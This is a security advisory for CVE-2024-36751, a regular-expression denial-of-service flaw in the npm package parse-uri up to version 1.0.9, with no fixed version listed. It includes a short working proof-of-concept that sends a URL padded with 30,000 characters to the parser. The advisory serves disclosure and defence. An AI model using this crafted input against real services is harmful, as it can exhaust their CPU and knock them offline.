Advisory

GHSA-6fx8-h7jm-663j

Also known as: CVE-2024-36751

Summary

parse-uri Regular expression Denial of Service (ReDoS)

Details

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
## PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2025-01-16 00:31 UTC
Modified
2025-09-03 12:56 UTC

Affected packages and fixes

parse-uri

npm · All systems

Affected

  • introduced 0, last affected 1.0.9 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

parseuri

npm · All systems

Affected

  • introduced 0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences